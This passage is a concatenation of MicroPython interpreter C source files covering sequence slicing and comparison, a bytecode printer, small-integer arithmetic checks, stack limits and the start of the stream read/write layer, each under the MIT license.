IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #include #include "py/nlr.h" #include "py/obj.h" #include "py/runtime0.h" #include "py/runtime.h" // Helpers for sequence types #define SWAP(type, var1, var2) { type t = var2; var2 = var1; var1 = t; } // Implements backend of sequence * integer operation. Assumes elements are // memory-adjacent in sequence. void mp_seq_multiply(const void *items, size_t item_sz, size_t len, size_t times, void *dest) { for (size_t i = 0; i < times; i++) { size_t copy_sz = item_sz * len; memcpy(dest, items, copy_sz); dest = (char*)dest + copy_sz; } } #if MICROPY_PY_BUILTINS_SLICE bool mp_seq_get_fast_slice_indexes(mp_uint_t len, mp_obj_t slice, mp_bound_slice_t *indexes) { mp_obj_t ostart, ostop, ostep; mp_int_t start, stop; mp_obj_slice_get(slice, &ostart, &ostop, &ostep); if (ostep != mp_const_none && ostep != MP_OBJ_NEW_SMALL_INT(1)) { indexes->step = mp_obj_get_int(ostep); if (indexes->step == 0) { mp_raise_ValueError("slice step cannot be zero"); } } else { indexes->step = 1; } if (ostart == mp_const_none) { if (indexes->step > 0) { start = 0; } else { start = len - 1; } } else { start = mp_obj_get_int(ostart); } if (ostop == mp_const_none) { if (indexes->step > 0) { stop = len; } else { stop = 0; } } else { stop = mp_obj_get_int(ostop); if (stop >= 0 && indexes->step < 0) { stop += 1; } } // Unlike subscription, out-of-bounds slice indexes are never error if (start < 0) { start = len + start; if (start < 0) { if (indexes->step < 0) { start = -1; } else { start = 0; } } } else if (indexes->step > 0 && (mp_uint_t)start > len) { start = len; } else if (indexes->step < 0 && (mp_uint_t)start >= len) { start = len - 1; } if (stop < 0) { stop = len + stop; if (stop < 0) { stop = -1; } if (indexes->step < 0) { stop += 1; } } else if ((mp_uint_t)stop > len) { stop = len; } // CPython returns empty sequence in such case, or point for assignment is at start if (indexes->step > 0 && start > stop) { stop = start; } else if (indexes->step < 0 && start < stop) { stop = start + 1; } indexes->start = start; indexes->stop = stop; return indexes->step == 1; } #endif mp_obj_t mp_seq_extract_slice(size_t len, const mp_obj_t *seq, mp_bound_slice_t *indexes) { (void)len; // TODO can we remove len from the arg list? mp_int_t start = indexes->start, stop = indexes->stop; mp_int_t step = indexes->step; mp_obj_t res = mp_obj_new_list(0, NULL); if (step < 0) { while (start >= stop) { mp_obj_list_append(res, seq[start]); start += step; } } else { while (start < stop) { mp_obj_list_append(res, seq[start]); start += step; } } return res; } // Special-case comparison function for sequences of bytes // Don't pass MP_BINARY_OP_NOT_EQUAL here bool mp_seq_cmp_bytes(mp_uint_t op, const byte *data1, size_t len1, const byte *data2, size_t len2) { if (op == MP_BINARY_OP_EQUAL && len1 != len2) { return false; } // Let's deal only with > & >= if (op == MP_BINARY_OP_LESS || op == MP_BINARY_OP_LESS_EQUAL) { SWAP(const byte*, data1, data2); SWAP(size_t, len1, len2); if (op == MP_BINARY_OP_LESS) { op = MP_BINARY_OP_MORE; } else { op = MP_BINARY_OP_MORE_EQUAL; } } size_t min_len = len1 < len2 ? len1 : len2; int res = memcmp(data1, data2, min_len); if (op == MP_BINARY_OP_EQUAL) { // If we are checking for equality, here're the answer return res == 0; } if (res < 0) { return false; } if (res > 0) { return true; } // If we had tie in the last element... // ... and we have lists of different lengths... if (len1 != len2) { if (len1 < len2) { // ... then longer list length wins (we deal only with >) return false; } } else if (op == MP_BINARY_OP_MORE) { // Otherwise, if we have strict relation, equality means failure return false; } return true; } // Special-case comparison function for sequences of mp_obj_t // Don't pass MP_BINARY_OP_NOT_EQUAL here bool mp_seq_cmp_objs(mp_uint_t op, const mp_obj_t *items1, size_t len1, const mp_obj_t *items2, size_t len2) { if (op == MP_BINARY_OP_EQUAL && len1 != len2) { return false; } // Let's deal only with > & >= if (op == MP_BINARY_OP_LESS || op == MP_BINARY_OP_LESS_EQUAL) { SWAP(const mp_obj_t *, items1, items2); SWAP(size_t, len1, len2); if (op == MP_BINARY_OP_LESS) { op = MP_BINARY_OP_MORE; } else { op = MP_BINARY_OP_MORE_EQUAL; } } size_t len = len1 < len2 ? len1 : len2; for (size_t i = 0; i < len; i++) { // If current elements equal, can't decide anything - go on if (mp_obj_equal(items1[i], items2[i])) { continue; } // Othewise, if they are not equal, we can have final decision based on them if (op == MP_BINARY_OP_EQUAL) { // In particular, if we are checking for equality, here're the answer return false; } // Otherwise, application of relation op gives the answer return (mp_binary_op(op, items1[i], items2[i]) == mp_const_true); } // If we had tie in the last element... // ... and we have lists of different lengths... if (len1 != len2) { if (len1 < len2) { // ... then longer list length wins (we deal only with >) return false; } } else if (op == MP_BINARY_OP_MORE) { // Otherwise, if we have strict relation, sequence equality means failure return false; } return true; } // Special-case of index() which searches for mp_obj_t mp_obj_t mp_seq_index_obj(const mp_obj_t *items, size_t len, size_t n_args, const mp_obj_t *args) { mp_obj_type_t *type = mp_obj_get_type(args[0]); mp_obj_t value = args[1]; size_t start = 0; size_t stop = len; if (n_args >= 3) { start = mp_get_index(type, len, args[2], true); if (n_args >= 4) { stop = mp_get_index(type, len, args[3], true); } } for (size_t i = start; i < stop; i++) { if (mp_obj_equal(items[i], value)) { // Common sense says this cannot overflow small int return MP_OBJ_NEW_SMALL_INT(i); } } mp_raise_ValueError("object not in sequence"); } mp_obj_t mp_seq_count_obj(const mp_obj_t *items, size_t len, mp_obj_t value) { size_t count = 0; for (size_t i = 0; i < len; i++) { if (mp_obj_equal(items[i], value)) { count++; } } // Common sense says this cannot overflow small int return MP_OBJ_NEW_SMALL_INT(count); } ================================================ FILE: micropython/source/py/showbc.c ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2013, 2014 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #include #include #include "py/bc0.h" #include "py/bc.h" #if MICROPY_DEBUG_PRINTERS // redirect all printfs in this file to the platform print stream #define printf(...) mp_printf(&mp_plat_print, __VA_ARGS__) #define DECODE_UINT { \ unum = 0; \ do { \ unum = (unum << 7) + (*ip & 0x7f); \ } while ((*ip++ & 0x80) != 0); \ } #define DECODE_ULABEL do { unum = (ip[0] | (ip[1] << 8)); ip += 2; } while (0) #define DECODE_SLABEL do { unum = (ip[0] | (ip[1] << 8)) - 0x8000; ip += 2; } while (0) #if MICROPY_PERSISTENT_CODE #define DECODE_QSTR \ qst = ip[0] | ip[1] << 8; \ ip += 2; #define DECODE_PTR \ DECODE_UINT; \ unum = mp_showbc_const_table[unum] #define DECODE_OBJ \ DECODE_UINT; \ unum = mp_showbc_const_table[unum] #else #define DECODE_QSTR { \ qst = 0; \ do { \ qst = (qst << 7) + (*ip & 0x7f); \ } while ((*ip++ & 0x80) != 0); \ } #define DECODE_PTR do { \ ip = (byte*)MP_ALIGN(ip, sizeof(void*)); \ unum = (uintptr_t)*(void**)ip; \ ip += sizeof(void*); \ } while (0) #define DECODE_OBJ do { \ ip = (byte*)MP_ALIGN(ip, sizeof(mp_obj_t)); \ unum = (mp_uint_t)*(mp_obj_t*)ip; \ ip += sizeof(mp_obj_t); \ } while (0) #endif const byte *mp_showbc_code_start; const mp_uint_t *mp_showbc_const_table; void mp_bytecode_print(const void *descr, const byte *ip, mp_uint_t len, const mp_uint_t *const_table) { mp_showbc_code_start = ip; // get bytecode parameters mp_uint_t n_state = mp_decode_uint(&ip); mp_uint_t n_exc_stack = mp_decode_uint(&ip); /*mp_uint_t scope_flags =*/ ip++; mp_uint_t n_pos_args = *ip++; mp_uint_t n_kwonly_args = *ip++; /*mp_uint_t n_def_pos_args =*/ ip++; const byte *code_info = ip; mp_uint_t code_info_size = mp_decode_uint(&code_info); ip += code_info_size; #if MICROPY_PERSISTENT_CODE qstr block_name = code_info[0] | (code_info[1] << 8); qstr source_file = code_info[2] | (code_info[3] << 8); code_info += 4; #else qstr block_name = mp_decode_uint(&code_info); qstr source_file = mp_decode_uint(&code_info); #endif printf("File %s, code block '%s' (descriptor: %p, bytecode @%p " UINT_FMT " bytes)\n", qstr_str(source_file), qstr_str(block_name), descr, mp_showbc_code_start, len); // raw bytecode dump printf("Raw bytecode (code_info_size=" UINT_FMT ", bytecode_size=" UINT_FMT "):\n", code_info_size, len - code_info_size); for (mp_uint_t i = 0; i < len; i++) { if (i > 0 && i % 16 == 0) { printf("\n"); } printf(" %02x", mp_showbc_code_start[i]); } printf("\n"); // bytecode prelude: arg names (as qstr objects) printf("arg names:"); for (mp_uint_t i = 0; i < n_pos_args + n_kwonly_args; i++) { printf(" %s", qstr_str(MP_OBJ_QSTR_VALUE(const_table[i]))); } printf("\n"); printf("(N_STATE " UINT_FMT ")\n", n_state); printf("(N_EXC_STACK " UINT_FMT ")\n", n_exc_stack); // for printing line number info const byte *bytecode_start = ip; // bytecode prelude: initialise closed over variables { uint local_num; while ((local_num = *ip++) != 255) { printf("(INIT_CELL %u)\n", local_num); } len -= ip - mp_showbc_code_start; } // print out line number info { mp_int_t bc = bytecode_start - ip; mp_uint_t source_line = 1; printf(" bc=" INT_FMT " line=" UINT_FMT "\n", bc, source_line); for (const byte* ci = code_info; *ci;) { if ((ci[0] & 0x80) == 0) { // 0b0LLBBBBB encoding bc += ci[0] & 0x1f; source_line += ci[0] >> 5; ci += 1; } else { // 0b1LLLBBBB 0bLLLLLLLL encoding (l's LSB in second byte) bc += ci[0] & 0xf; source_line += ((ci[0] << 4) & 0x700) | ci[1]; ci += 2; } printf(" bc=" INT_FMT " line=" UINT_FMT "\n", bc, source_line); } } mp_bytecode_print2(ip, len - 0, const_table); } const byte *mp_bytecode_print_str(const byte *ip) { mp_uint_t unum; qstr qst; switch (*ip++) { case MP_BC_LOAD_CONST_FALSE: printf("LOAD_CONST_FALSE"); break; case MP_BC_LOAD_CONST_NONE: printf("LOAD_CONST_NONE"); break; case MP_BC_LOAD_CONST_TRUE: printf("LOAD_CONST_TRUE"); break; case MP_BC_LOAD_CONST_SMALL_INT: { mp_int_t num = 0; if ((ip[0] & 0x40) != 0) { // Number is negative num--; } do { num = (num << 7) | (*ip & 0x7f); } while ((*ip++ & 0x80) != 0); printf("LOAD_CONST_SMALL_INT " INT_FMT, num); break; } case MP_BC_LOAD_CONST_STRING: DECODE_QSTR; printf("LOAD_CONST_STRING '%s'", qstr_str(qst)); break; case MP_BC_LOAD_CONST_OBJ: DECODE_OBJ; printf("LOAD_CONST_OBJ %p=", MP_OBJ_TO_PTR(unum)); mp_obj_print_helper(&mp_plat_print, (mp_obj_t)unum, PRINT_REPR); break; case MP_BC_LOAD_NULL: printf("LOAD_NULL"); break; case MP_BC_LOAD_FAST_N: DECODE_UINT; printf("LOAD_FAST_N " UINT_FMT, unum); break; case MP_BC_LOAD_DEREF: DECODE_UINT; printf("LOAD_DEREF " UINT_FMT, unum); break; case MP_BC_LOAD_NAME: DECODE_QSTR; printf("LOAD_NAME %s", qstr_str(qst)); if (MICROPY_OPT_CACHE_MAP_LOOKUP_IN_BYTECODE) { printf(" (cache=%u)", *ip++); } break; case MP_BC_LOAD_GLOBAL: DECODE_QSTR; printf("LOAD_GLOBAL %s", qstr_str(qst)); if (MICROPY_OPT_CACHE_MAP_LOOKUP_IN_BYTECODE) { printf(" (cache=%u)", *ip++); } break; case MP_BC_LOAD_ATTR: DECODE_QSTR; printf("LOAD_ATTR %s", qstr_str(qst)); if (MICROPY_OPT_CACHE_MAP_LOOKUP_IN_BYTECODE) { printf(" (cache=%u)", *ip++); } break; case MP_BC_LOAD_METHOD: DECODE_QSTR; printf("LOAD_METHOD %s", qstr_str(qst)); break; case MP_BC_LOAD_SUPER_METHOD: DECODE_QSTR; printf("LOAD_SUPER_METHOD %s", qstr_str(qst)); break; case MP_BC_LOAD_BUILD_CLASS: printf("LOAD_BUILD_CLASS"); break; case MP_BC_LOAD_SUBSCR: printf("LOAD_SUBSCR"); break; case MP_BC_STORE_FAST_N: DECODE_UINT; printf("STORE_FAST_N " UINT_FMT, unum); break; case MP_BC_STORE_DEREF: DECODE_UINT; printf("STORE_DEREF " UINT_FMT, unum); break; case MP_BC_STORE_NAME: DECODE_QSTR; printf("STORE_NAME %s", qstr_str(qst)); break; case MP_BC_STORE_GLOBAL: DECODE_QSTR; printf("STORE_GLOBAL %s", qstr_str(qst)); break; case MP_BC_STORE_ATTR: DECODE_QSTR; printf("STORE_ATTR %s", qstr_str(qst)); if (MICROPY_OPT_CACHE_MAP_LOOKUP_IN_BYTECODE) { printf(" (cache=%u)", *ip++); } break; case MP_BC_STORE_SUBSCR: printf("STORE_SUBSCR"); break; case MP_BC_DELETE_FAST: DECODE_UINT; printf("DELETE_FAST " UINT_FMT, unum); break; case MP_BC_DELETE_DEREF: DECODE_UINT; printf("DELETE_DEREF " UINT_FMT, unum); break; case MP_BC_DELETE_NAME: DECODE_QSTR; printf("DELETE_NAME %s", qstr_str(qst)); break; case MP_BC_DELETE_GLOBAL: DECODE_QSTR; printf("DELETE_GLOBAL %s", qstr_str(qst)); break; case MP_BC_DUP_TOP: printf("DUP_TOP"); break; case MP_BC_DUP_TOP_TWO: printf("DUP_TOP_TWO"); break; case MP_BC_POP_TOP: printf("POP_TOP"); break; case MP_BC_ROT_TWO: printf("ROT_TWO"); break; case MP_BC_ROT_THREE: printf("ROT_THREE"); break; case MP_BC_JUMP: DECODE_SLABEL; printf("JUMP " UINT_FMT, (mp_uint_t)(ip + unum - mp_showbc_code_start)); break; case MP_BC_POP_JUMP_IF_TRUE: DECODE_SLABEL; printf("POP_JUMP_IF_TRUE " UINT_FMT, (mp_uint_t)(ip + unum - mp_showbc_code_start)); break; case MP_BC_POP_JUMP_IF_FALSE: DECODE_SLABEL; printf("POP_JUMP_IF_FALSE " UINT_FMT, (mp_uint_t)(ip + unum - mp_showbc_code_start)); break; case MP_BC_JUMP_IF_TRUE_OR_POP: DECODE_SLABEL; printf("JUMP_IF_TRUE_OR_POP " UINT_FMT, (mp_uint_t)(ip + unum - mp_showbc_code_start)); break; case MP_BC_JUMP_IF_FALSE_OR_POP: DECODE_SLABEL; printf("JUMP_IF_FALSE_OR_POP " UINT_FMT, (mp_uint_t)(ip + unum - mp_showbc_code_start)); break; case MP_BC_SETUP_WITH: DECODE_ULABEL; // loop-like labels are always forward printf("SETUP_WITH " UINT_FMT, (mp_uint_t)(ip + unum - mp_showbc_code_start)); break; case MP_BC_WITH_CLEANUP: printf("WITH_CLEANUP"); break; case MP_BC_UNWIND_JUMP: DECODE_SLABEL; printf("UNWIND_JUMP " UINT_FMT " %d", (mp_uint_t)(ip + unum - mp_showbc_code_start), *ip); ip += 1; break; case MP_BC_SETUP_EXCEPT: DECODE_ULABEL; // except labels are always forward printf("SETUP_EXCEPT " UINT_FMT, (mp_uint_t)(ip + unum - mp_showbc_code_start)); break; case MP_BC_SETUP_FINALLY: DECODE_ULABEL; // except labels are always forward printf("SETUP_FINALLY " UINT_FMT, (mp_uint_t)(ip + unum - mp_showbc_code_start)); break; case MP_BC_END_FINALLY: // if TOS is an exception, reraises the exception (3 values on TOS) // if TOS is an integer, does something else // if TOS is None, just pops it and continues // else error printf("END_FINALLY"); break; case MP_BC_GET_ITER: printf("GET_ITER"); break; case MP_BC_GET_ITER_STACK: printf("GET_ITER_STACK"); break; case MP_BC_FOR_ITER: DECODE_ULABEL; // the jump offset if iteration finishes; for labels are always forward printf("FOR_ITER " UINT_FMT, (mp_uint_t)(ip + unum - mp_showbc_code_start)); break; case MP_BC_POP_BLOCK: // pops block and restores the stack printf("POP_BLOCK"); break; case MP_BC_POP_EXCEPT: // pops block, checks it's an exception block, and restores the stack, saving the 3 exception values to local threadstate printf("POP_EXCEPT"); break; case MP_BC_BUILD_TUPLE: DECODE_UINT; printf("BUILD_TUPLE " UINT_FMT, unum); break; case MP_BC_BUILD_LIST: DECODE_UINT; printf("BUILD_LIST " UINT_FMT, unum); break; case MP_BC_BUILD_MAP: DECODE_UINT; printf("BUILD_MAP " UINT_FMT, unum); break; case MP_BC_STORE_MAP: printf("STORE_MAP"); break; case MP_BC_BUILD_SET: DECODE_UINT; printf("BUILD_SET " UINT_FMT, unum); break; #if MICROPY_PY_BUILTINS_SLICE case MP_BC_BUILD_SLICE: DECODE_UINT; printf("BUILD_SLICE " UINT_FMT, unum); break; #endif case MP_BC_STORE_COMP: DECODE_UINT; printf("STORE_COMP " UINT_FMT, unum); break; case MP_BC_UNPACK_SEQUENCE: DECODE_UINT; printf("UNPACK_SEQUENCE " UINT_FMT, unum); break; case MP_BC_UNPACK_EX: DECODE_UINT; printf("UNPACK_EX " UINT_FMT, unum); break; case MP_BC_MAKE_FUNCTION: DECODE_PTR; printf("MAKE_FUNCTION %p", (void*)(uintptr_t)unum); break; case MP_BC_MAKE_FUNCTION_DEFARGS: DECODE_PTR; printf("MAKE_FUNCTION_DEFARGS %p", (void*)(uintptr_t)unum); break; case MP_BC_MAKE_CLOSURE: { DECODE_PTR; mp_uint_t n_closed_over = *ip++; printf("MAKE_CLOSURE %p " UINT_FMT, (void*)(uintptr_t)unum, n_closed_over); break; } case MP_BC_MAKE_CLOSURE_DEFARGS: { DECODE_PTR; mp_uint_t n_closed_over = *ip++; printf("MAKE_CLOSURE_DEFARGS %p " UINT_FMT, (void*)(uintptr_t)unum, n_closed_over); break; } case MP_BC_CALL_FUNCTION: DECODE_UINT; printf("CALL_FUNCTION n=" UINT_FMT " nkw=" UINT_FMT, unum & 0xff, (unum >> 8) & 0xff); break; case MP_BC_CALL_FUNCTION_VAR_KW: DECODE_UINT; printf("CALL_FUNCTION_VAR_KW n=" UINT_FMT " nkw=" UINT_FMT, unum & 0xff, (unum >> 8) & 0xff); break; case MP_BC_CALL_METHOD: DECODE_UINT; printf("CALL_METHOD n=" UINT_FMT " nkw=" UINT_FMT, unum & 0xff, (unum >> 8) & 0xff); break; case MP_BC_CALL_METHOD_VAR_KW: DECODE_UINT; printf("CALL_METHOD_VAR_KW n=" UINT_FMT " nkw=" UINT_FMT, unum & 0xff, (unum >> 8) & 0xff); break; case MP_BC_RETURN_VALUE: printf("RETURN_VALUE"); break; case MP_BC_RAISE_VARARGS: unum = *ip++; printf("RAISE_VARARGS " UINT_FMT, unum); break; case MP_BC_YIELD_VALUE: printf("YIELD_VALUE"); break; case MP_BC_YIELD_FROM: printf("YIELD_FROM"); break; case MP_BC_IMPORT_NAME: DECODE_QSTR; printf("IMPORT_NAME '%s'", qstr_str(qst)); break; case MP_BC_IMPORT_FROM: DECODE_QSTR; printf("IMPORT_FROM '%s'", qstr_str(qst)); break; case MP_BC_IMPORT_STAR: printf("IMPORT_STAR"); break; default: if (ip[-1] < MP_BC_LOAD_CONST_SMALL_INT_MULTI + 64) { printf("LOAD_CONST_SMALL_INT " INT_FMT, (mp_int_t)ip[-1] - MP_BC_LOAD_CONST_SMALL_INT_MULTI - 16); } else if (ip[-1] < MP_BC_LOAD_FAST_MULTI + 16) { printf("LOAD_FAST " UINT_FMT, (mp_uint_t)ip[-1] - MP_BC_LOAD_FAST_MULTI); } else if (ip[-1] < MP_BC_STORE_FAST_MULTI + 16) { printf("STORE_FAST " UINT_FMT, (mp_uint_t)ip[-1] - MP_BC_STORE_FAST_MULTI); } else if (ip[-1] < MP_BC_UNARY_OP_MULTI + 7) { printf("UNARY_OP " UINT_FMT, (mp_uint_t)ip[-1] - MP_BC_UNARY_OP_MULTI); } else if (ip[-1] < MP_BC_BINARY_OP_MULTI + 36) { mp_uint_t op = ip[-1] - MP_BC_BINARY_OP_MULTI; printf("BINARY_OP " UINT_FMT " %s", op, qstr_str(mp_binary_op_method_name[op])); } else { printf("code %p, byte code 0x%02x not implemented\n", ip, ip[-1]); assert(0); return ip; } break; } return ip; } void mp_bytecode_print2(const byte *ip, size_t len, const mp_uint_t *const_table) { mp_showbc_code_start = ip; mp_showbc_const_table = const_table; while (ip < len + mp_showbc_code_start) { printf("%02u ", (uint)(ip - mp_showbc_code_start)); ip = mp_bytecode_print_str(ip); printf("\n"); } } #endif // MICROPY_DEBUG_PRINTERS ================================================ FILE: micropython/source/py/smallint.c ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2013, 2014 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #include "py/smallint.h" bool mp_small_int_mul_overflow(mp_int_t x, mp_int_t y) { // Check for multiply overflow; see CERT INT32-C if (x > 0) { // x is positive if (y > 0) { // x and y are positive if (x > (MP_SMALL_INT_MAX / y)) { return true; } } else { // x positive, y nonpositive if (y < (MP_SMALL_INT_MIN / x)) { return true; } } // x positive, y nonpositive } else { // x is nonpositive if (y > 0) { // x is nonpositive, y is positive if (x < (MP_SMALL_INT_MIN / y)) { return true; } } else { // x and y are nonpositive if (x != 0 && y < (MP_SMALL_INT_MAX / x)) { return true; } } // End if x and y are nonpositive } // End if x is nonpositive return false; } mp_int_t mp_small_int_modulo(mp_int_t dividend, mp_int_t divisor) { // Python specs require that mod has same sign as second operand dividend %= divisor; if ((dividend < 0 && divisor > 0) || (dividend > 0 && divisor < 0)) { dividend += divisor; } return dividend; } mp_int_t mp_small_int_floor_divide(mp_int_t num, mp_int_t denom) { if (num >= 0) { if (denom < 0) { num += -denom - 1; } } else { if (denom >= 0) { num += -denom + 1; } } return num / denom; } ================================================ FILE: micropython/source/py/stackctrl.c ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2014 Paul Sokolovsky * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #include "py/mpstate.h" #include "py/nlr.h" #include "py/obj.h" #include "py/runtime.h" #include "py/stackctrl.h" void mp_stack_ctrl_init(void) { volatile int stack_dummy; MP_STATE_THREAD(stack_top) = (char*)&stack_dummy; } void mp_stack_set_top(void *top) { MP_STATE_THREAD(stack_top) = top; } mp_uint_t mp_stack_usage(void) { // Assumes descending stack volatile int stack_dummy; return MP_STATE_THREAD(stack_top) - (char*)&stack_dummy; } #if MICROPY_STACK_CHECK void mp_stack_set_limit(mp_uint_t limit) { MP_STATE_THREAD(stack_limit) = limit; } void mp_exc_recursion_depth(void) { nlr_raise(mp_obj_new_exception_arg1(&mp_type_RuntimeError, MP_OBJ_NEW_QSTR(MP_QSTR_maximum_space_recursion_space_depth_space_exceeded))); } void mp_stack_check(void) { if (mp_stack_usage() >= MP_STATE_THREAD(stack_limit)) { mp_exc_recursion_depth(); } } #endif // MICROPY_STACK_CHECK ================================================ FILE: micropython/source/py/stream.c ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2013, 2014 Damien P. George * Copyright (c) 2014 Paul Sokolovsky * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #include #include #include "py/nlr.h" #include "py/objstr.h" #include "py/stream.h" #include "py/runtime.h" #if MICROPY_STREAMS_NON_BLOCK #include #if defined(__MINGW32__) && !defined(__MINGW64_VERSION_MAJOR) #define EWOULDBLOCK 140 #endif #endif // This file defines generic Python stream read/write methods which // dispatch to the underlying stream interface of an object. // TODO: should be in mpconfig.h #define DEFAULT_BUFFER_SIZE 256 STATIC mp_obj_t stream_readall(mp_obj_t self_in); #define STREAM_CONTENT_TYPE(stream) (((stream)->is_text) ? &mp_type_str : &mp_type_bytes) // Returns error condition in *errcode, if non-zero, return value is number of bytes written // before error condition occurred. If *errcode == 0, returns total bytes written (which will // be equal to input size). mp_uint_t mp_stream_rw(mp_obj_t stream, void *buf_, mp_uint_t size, int *errcode, byte flags) { byte *buf = buf_; mp_obj_base_t* s = (mp_obj_base_t*)MP_OBJ_TO_PTR(stream); typedef mp_uint_t (*io_func_t)(mp_obj_t obj, void *buf, mp_uint_t size, int *errcode); io_func_t io_func; const mp_stream_p_t *stream_p = s->type->protocol; if (flags & MP_STREAM_RW_WRITE) { io_func = (io_func_t)stream_p->write; } else { io_func = stream_p->read; } *errcode = 0; mp_uint_t done = 0; while (size > 0) { mp_uint_t out_sz = io_func(stream, buf, size, errcode); // For read, out_sz == 0 means EOF. For write, it's unspecified // what it means, but we don't make any progress, so returning // is still the best option. if (out_sz == 0) { return done; } if (out_sz == MP_STREAM_ERROR) { // If we read something before getting EAGAIN, don't leak it if (mp_is_nonblocking_error(*errcode) && done != 0) { *errcode = 0; } return done; } if (flags & MP_STREAM_RW_ONCE) { return out_sz; } buf += out_sz; size -= out_sz; done += out_sz; } return done; } const mp_stream_p_t *mp_get_stream_raise(mp_obj_t self_in, int flags) { mp_obj_type_t *type = mp_obj_get_type(self_in); const mp_stream_p_t *stream_p = type->protocol; if (stream_p == NULL || ((flags & MP_STREAM_OP_READ) && stream_p->read == NULL) || ((flags & MP_STREAM_OP_WRITE) && stream_p->write == NULL) || ((flags & MP_STREAM_OP_IOCTL) && stream_p->ioctl == NULL)) { // CPython: io.UnsupportedOperation, OSError subclass mp_raise_msg(&mp_type_OSError, "stream operation not supported"); } return stream_p; } mp_obj_t mp_stream_close(mp_obj_t stream) { // TODO: Still consider using ioctl for close mp_obj_t dest[2]; mp_load_method(stream, MP_QSTR_close, dest); return mp_call_method_n_kw(0, 0, dest); } STATIC mp_obj_t stream_read_generic(size_t n_args, const mp_obj_t *args, byte flags) { const mp_stream_p_t *stream_p = mp_get_stream_raise(args[0], MP_STREAM_OP_READ); // What to do if sz < -1? Python docs don't specify this case. // CPython does a readall, but here we silently let negatives through, // and they will cause a MemoryError. mp_int_t sz; if (n_args == 1 || ((sz = mp_obj_get_int(args[1])) == -1)) { return stream_readall(args[0]); } #if MICROPY_PY_BUILTINS_STR_UNICODE if (stream_p->is_text) { // We need to read sz number of unicode characters. Because we don't have any // buffering, and because the stream API can only read bytes, we must read here // in units of bytes and must never over read. If we want sz chars, then reading // sz bytes will never over-read, so we follow this approach, in a loop to keep // reading until we have exactly enough chars. This will be 1 read for text // with ASCII-only chars, and about 2 reads for text with a couple of non-ASCII // chars. For text with lots of non-ASCII chars, it'll be pretty inefficient // in time and memory. vstr_t vstr; vstr_init(&vstr, sz); mp_uint_t more_bytes = sz; mp_uint_t last_buf_offset = 0; while (more_bytes > 0) { char *p = vstr_add_len(&vstr, more_bytes); if (p == NULL) { mp_raise_msg(&mp_type_MemoryError, "out of 